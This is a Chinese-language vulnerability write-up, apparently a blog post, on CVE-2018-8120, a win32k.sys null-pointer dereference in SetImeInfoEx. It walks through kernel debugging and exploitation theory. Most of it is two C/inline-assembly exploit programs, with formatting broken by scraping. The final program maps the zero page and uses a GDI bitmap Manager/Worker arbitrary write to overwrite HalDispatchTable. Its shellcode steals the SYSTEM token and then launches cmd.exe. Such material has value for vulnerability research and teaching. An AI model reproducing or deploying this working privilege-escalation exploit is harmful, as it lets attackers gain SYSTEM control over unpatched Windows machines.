参考链接:
https://www.anquanke.com/post/id/241057
https://www.freebuf.com/vuls/174183.html
https://blog.csdn.net/qq_38025365/article/details/106343443
官方链接:https://msrc.microsoft.com/update-guide/vulnerability/CVE-2018-8120
可在其中找受影响的版本复现,在受影响版本的系统中找到win32k.sys导入IDA
配合api文档查函数
https://learn.microsoft.com/zh-cn/windows/win32/api/winuser/nf-winuser-getprocesswindowstation
windbg 双机调试
.reload/f win32k.sys,可以找到win32k.pdb文件,导入IDA后便能查看函数名
漏洞函数位于win32k.sys的SetImeInfoEx()函数,该函数在使用一个内核对象的字段之前并没有进行是否为空的判断,当该值为空时,函数直接读取零地址内存。如果在当前进程环境中没有映射零页面,该函数将触发页面错误异常,导致系统蓝屏发生。
查看下tagWINDOWSTATION
dt win32k!tagWINDOWSTATION
spklList对象的结构为
漏洞触发验证
查看SSDT表
dd KeServiceDescriptorTable
dds Address L11C 显示地址里面值指向的地址. 以4个字节显示
dd nt!KeServiceDescriptorTableShadow
dds bf999b80 L0000029b
函数的索引号:(bf999bb4 - bf999b80)/4 = 0x34/0x4 = 0xD = 13
直接使用PChunter
windbg捕获到的正是SetImeInfoEx()中针对pWindowStation->spklList字段进行内存访问的代码。
已知漏洞产生的原因是零地址内存访问违例,如果在漏洞函数运行的进程中,零地址处的内存分页完成映射,则函数将继续执行。下面继续看看函数如果继续运行,会发生什么情况。
漏洞产生函数后续执行过程中会执行内存拷贝,且拷贝源来自于参数2,属于用户可控内容。如果拷贝目标v4可控,则可以实现任意内存地址写入(且漏洞函数运行在内核权限,内核空间与用户空间内存均有权限读写)。至此,如果可以实现任意内存地址写入,则可以通过覆盖系统服务函数指针的方式,实现任意代码执行。
HEVD中的空指针解引用用例,使用NtAllocateVirtualMemory映射零地址分页的内存。
https://blog.csdn.net/qq_38025365/article/details/106176472?spm=1001.2014.3001.5502
HEVD中的任意地址写用例,覆盖ntoskrnl!HalDispatchTable表中第二项的hal!HaliQuerySystemInformation()函数指针,NtQueryIntervalProfile()函数在运行过程中会从HalDispatchTable表中调用该函数。使得用户程序在调用系统函数NtQueryIntervalProfile()的时候,执行由应用程序设定的ShellCode。
https://bbs.pediy.com/thread-225176.htm
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
DWORD gSyscalIndex
=
0x1226
;
_declspec(naked)void NtUserSetImeInfoEx(PVOID argv1) {
_asm {
mov esi, argv1;
mov eax, gSyscalIndex;
/
/
系统调用服务号
mov edx,
0x7FFE0300
;
/
/
ntdll.KiFastSystemCall快速系统调用
call DWORD ptr[edx];
ret
4
;
}
}
typedef NTSTATUS
(WINAPI
*
My_NtAllocateVirtualMemory)(
IN HANDLE ProcessHandle,
IN OUT PVOID
*
BaseAddress,
IN ULONG ZeroBits,
IN OUT PULONG RegionSize,
IN ULONG AllocationType,
IN ULONG Protect
);
My_NtAllocateVirtualMemory NtAllocateVirtualMemory
=
NULL;
int
main() {
HWINSTA hSta
=
CreateWindowStation(
0
,
0
, READ_CONTROL,
0
);
SetProcessWindowStation(hSta);
char ime[
0x800
];
*
(FARPROC
*
)&NtAllocateVirtualMemory
=
GetProcAddress(
GetModuleHandleW(L
"ntdll"
),
"NtAllocateVirtualMemory"
);
if
(NtAllocateVirtualMemory
=
=
NULL)
{
printf(
"[+]Failed to get function NtAllocateVirtualMemory!!!\n"
);
system(
"pause"
);
return
;
}
PVOID Zero_addr
=
(PVOID)
0x100
;
SIZE_T RegionSize
=
0x1000
;
printf(
"[+]Started to alloc zero page...\n"
);
if
(!NT_SUCCESS(NtAllocateVirtualMemory(
INVALID_HANDLE_VALUE,
&Zero_addr,
0
,
&RegionSize,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE)) || Zero_addr !
=
NULL)
{
printf(
"[+]Failed to alloc zero page!\n"
);
system(
"pause"
);
return
;
}
printf(
"[+]Success to alloc zero page...\n"
);
printf(
"申请到的地址是 0x%p\n"
, Zero_addr);
PBYTE pt
=
(PBYTE)Zero_addr;
*
(PDWORD)(pt
+
0x14
)
=
(DWORD)
0x12345678
;
*
(PDWORD)(ime)
=
(DWORD)
0x12345678
;
*
(PDWORD)(pt
+
0x2C
)
=
(DWORD)
0x83d2b3fc
;
/
/
HalDispatchTable
+
0x4
NtUserSetImeInfoEx((PVOID)&ime);
return
0
;
}
上诉方法利用失败,函数指针目标地址,无法通过漏洞函数的第二个判断
用户态程序使用CreateBitmap函数创建得到的Bitmap对象的成员结构中,有存在于内核空间中的成员指针变量pvScan0,而该指针变量可以在用户态下,通过调用GetBitmaps以及SetBitmaps方法,对pvScan0指向的内存地址进行读取和写入。
Bitmap GDI技术参考:
https://www.anquanke.com/post/id/247764#h2-0
https://xz.aliyun.com/t/8667
CreateBitMap创建的结构SURFACE OBJECT
当程序调用了CreateBitmap方法后,程序的进程环境控制块(PEB)中的GdiSharedHandleTable表便增加了一个索引,该索引对象的结构为:
在32位系统下,通过GDICELL->pKernelAddress + 0x30(在64位系统下是0x50,具体计算成员变量指针所占字节),即可得到指向pvScan0指针的偏移量。
(1) 创建2个bitmaps(Manager/Worker)
(2) 使用CreateBitMap返回的handle获取pvScan0的地址
(3) 使用任意地址写漏洞将Worker的pvScan0地址写入Manager的PvScan0(作为Value)
(4) 对Manager使用SetBitmapBits ,也就是改写Woker的pvScan0的Value为读/写的任意地址。
(5) 对Worker使用GetBitmapBits/SetBitmapBits,以对第四步设置的地址任意读写!
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
typedef NTSTATUS(WINAPI
*
NtQueryIntervalProfile_t)(
IN ULONG ProfileSource,
OUT PULONG Interval
);
typedef NTSTATUS
(WINAPI
*
My_NtAllocateVirtualMemory)(
IN HANDLE ProcessHandle,
IN OUT PVOID
*
BaseAddress,
IN ULONG ZeroBits,
IN OUT PULONG RegionSize,
IN ULONG AllocationType,
IN ULONG Protect
);
My_NtAllocateVirtualMemory NtAllocateVirtualMemory
=
NULL;
/
/
申请
0
页内存
void getZeroMemory() {
PVOID Zero_addr
=
(PVOID)
1
;
SIZE_T RegionSize
=
0x1000
;
*
(FARPROC
*
)&NtAllocateVirtualMemory
=
GetProcAddress(
GetModuleHandleW(L
"ntdll"
),
"NtAllocateVirtualMemory"
);
if
(NtAllocateVirtualMemory
=
=
NULL)
{
printf(
"[+]Failed to get function NtAllocateVirtualMemory!!!\n"
);
system(
"pause"
);
}
if
(!NT_SUCCESS(NtAllocateVirtualMemory(
INVALID_HANDLE_VALUE,
&Zero_addr,
0
,
&RegionSize,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE)) || Zero_addr !
=
NULL)
{
printf(
"[+]Failed to alloc zero page!\n"
);
system(
"pause"
);
}
printf(
"[+]Success to alloc zero page...\n"
);
}
__declspec(naked) VOID ShellCode()
{
_asm
{
pushad
mov eax, fs: [
124h
]
/
/
找到当前线程的_KTHREAD结构
mov eax, [eax
+
0x50
]
/
/
找到_EPROCESS结构
mov ecx, eax
mov edx,
4
/
/
edx
=
system PID(
4
)
/
/
循环是为了获取system的_EPROCESS
find_sys_pid :
mov eax, [eax
+
0xb8
]
/
/
找到进程活动链表
sub eax,
0xb8
/
/
链表遍历
cmp
[eax
+
0xb4
], edx
/
/
根据PID判断是否为SYSTEM
jnz find_sys_pid
/
/
替换Token
mov edx, [eax
+
0xf8
]
mov[ecx
+
0xf8
], edx
popad
xor eax, eax
ret
}
}
static VOID CreateCmd()
{
STARTUPINFO si
=
{ sizeof(si) };
PROCESS_INFORMATION pi
=
{
0
};
si.dwFlags
=
STARTF_USESHOWWINDOW;
si.wShowWindow
=
SW_SHOW;
WCHAR wzFilePath[MAX_PATH]
=
{ L
"cmd.exe"
};
BOOL
bReturn
=
CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)&si, &pi);
if
(bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);
}
/
/
获取ntkrnlpa.exe 在 kernel mode 中的基地址
LPVOID NtkrnlpaBase()
{
LPVOID lpImageBase[
1024
];
DWORD lpcbNeeded;
CHAR lpfileName[
1024
];
EnumDeviceDrivers(lpImageBase, sizeof(lpImageBase), &lpcbNeeded);
for
(
int
i
=
0
; i <
1024
; i
+
+
)
{
GetDeviceDriverBaseNameA(lpImageBase[i], lpfileName,
48
);
if
(!strcmp(lpfileName,
"ntkrnlpa.exe"
))
{
printf(
"[+]success to get %s\n"
, lpfileName);
return
lpImageBase[i];
}
}
return
NULL;
}
DWORD32 GetHalOffset_4()
{
/
/
获取ntkrnlpa.exe运行时基址
PVOID pNtkrnlpaBase
=
NtkrnlpaBase();
printf(
"[+]ntkrnlpa base address is 0x%p\n"
, pNtkrnlpaBase);
/
/
获取用户态加载ntkrnlpa.exe的地址
HMODULE hUserSpaceBase
=
LoadLibrary(
"ntkrnlpa.exe"
);
/
/
获取用户态中HalDispatchTable的地址
PVOID pUserSpaceAddress
=
GetProcAddress(hUserSpaceBase,
"HalDispatchTable"
);
/
/
由ntkrnlpa.exe运行时基址加上HalDispatchTable偏移量,得到HalDispatchTable在内核空间中的地址,加上
0x4
偏移量
DWORD32 hal_4
=
(DWORD32)pNtkrnlpaBase
+
((DWORD32)pUserSpaceAddress
-
(DWORD32)hUserSpaceBase)
+
0x4
;
printf(
"[+]HalDispatchTable+0x4 is 0x%p\n"
, hal_4);
return
(DWORD32)hal_4;
}
/
/
NtUserSetImeInfoEx()系统服务函数未导出,需要自己在用户进程中调用该系统服务函数,以执行漏洞函数SetImeInfoEx()。
/
/
其中SyscallIndex的计算,根据系统ShadowSSDT表导出序号计算。
DWORD gSyscall
=
0x1226
;
__declspec(naked) void NtUserSetImeInfoEx(PVOID tmp)
{
_asm
{
mov esi, tmp;
mov eax, gSyscall;
/
/
系统调用符号
mov edx,
0x7FFE0300
;
/
/
ntdll.KiFastSystemCall快速系统调用
call dword ptr[edx];
ret
4
;
}
}
DWORD getpeb()
{
/
/
在NT内核中,FS段为TEB,TEB偏移
0x30
处为PEB
DWORD p
=
(DWORD)__readfsdword(
0x18
);
p
=
*
(DWORD
*
)((char
*
)p
+
0x30
);
return
p;
}
DWORD gTableOffset
=
0x094
;
DWORD getgdi()
{
return
*
(DWORD
*
)(getpeb()
+
gTableOffset);
}
DWORD gtable;
typedef struct
{
LPVOID pKernelAddress;
USHORT wProcessId;
USHORT wCount;
USHORT wUpper;
USHORT wType;
LPVOID pUserAddress;
} GDICELL;
PVOID getpvscan0(HANDLE h)
{
if
(!gtable)
gtable
=
getgdi();
DWORD p
=
(gtable
+
LOWORD(h)
*
sizeof(GDICELL)) &
0x00000000ffffffff
;
GDICELL
*
c
=
(GDICELL
*
)p;
return
(char
*
)c
-
>pKernelAddress
+
0x30
;
}
int
main()
{
/
/
1.
创建bitmap对象
unsigned
int
bbuf[
0x60
]
=
{
0x90
};
HANDLE gManger
=
CreateBitmap(
0x60
,
1
,
1
,
32
, bbuf);
HANDLE gWorker
=
CreateBitmap(
0x60
,
1
,
1
,
32
, bbuf);
/
/
2.
使用句柄查找GDICELL,计算pvScan0地址
PVOID mpv
=
getpvscan0(gManger);
PVOID wpv
=
getpvscan0(gWorker);
printf(
"[+] Get manager at 0x%p,worker at 0x%p\n"
, mpv, wpv);
/
/
使用漏洞将Worker的pvScan0偏移地址写入Manager的pvScan0值
/
/
新建一个新的窗口,新建的WindowStation对象其偏移
0x14
位置的spklList字段的值默认是零
HWINSTA hSta
=
CreateWindowStation(
0
,
/
/
LPCSTR lpwinsta
0
,
/
/
DWORD dwFlags
READ_CONTROL,
/
/
ACCESS_MASK dwDesiredAccess
0
/
/
LPSECURITY_ATTRIBUTES lpsa
);
/
/
和窗口当前进程关联起来
SetProcessWindowStation(hSta);
char buf[
0x200
];
RtlSecureZeroMemory(&buf,
0x200
);
PVOID
*
p
=
(PVOID
*
)&buf;
p[
0
]
=
(PVOID)wpv;
DWORD
*
pp
=
(DWORD
*
)&p[
1
];
pp[
0
]
=
0x180
;
pp[
1
]
=
0x1d95
;
pp[
2
]
=
6
;
pp[
3
]
=
0x10000
;
pp[
5
]
=
0x4800200
;
/
/
获取
0
页内存
getZeroMemory();
*
(DWORD
*
)(
0x2C
)
=
(DWORD)(mpv);
*
(DWORD
*
)(
0x14
)
=
(DWORD)(wpv);
/
/
WindowStation
-
>spklList字段为
0
,函数继续执行将触发漏洞
NtUserSetImeInfoEx((PVOID)&buf);
PVOID pOrg
=
0
;
DWORD haladdr
=
GetHalOffset_4();
PVOID oaddr
=
(PVOID)haladdr;
PVOID sc
=
&ShellCode;
SetBitmapBits((HBITMAP)gManger, sizeof(PVOID), &oaddr);
/
/
利用manager设置worker的可修改地址为hal函数
printf(
"[+]要覆盖的目标地址 0x%x\n"
, oaddr);
GetBitmapBits((HBITMAP)gWorker, sizeof(PVOID), &pOrg);
/
/
获取可修改的地址
SetBitmapBits((HBITMAP)gWorker, sizeof(PVOID), &sc);
/
/
设置地址为shellcode
printf(
"[+]覆盖完毕,准备执行Shellcode"
);
/
/
触发shellcode
NtQueryIntervalProfile_t NtQueryIntervalProfile
=
(NtQueryIntervalProfile_t)GetProcAddress(LoadLibraryA(
"ntdll.dll"
),
"NtQueryIntervalProfile"
);
printf(
"[+]NtQueryIntervalProfile address is 0x%x\n"
, NtQueryIntervalProfile);
DWORD interVal
=
0
;
NtQueryIntervalProfile(
0x1337
, &interVal);
/
/
收尾
SetBitmapBits((HBITMAP)gWorker, sizeof(PVOID), &pOrg);
CreateCmd();
return
0
;
}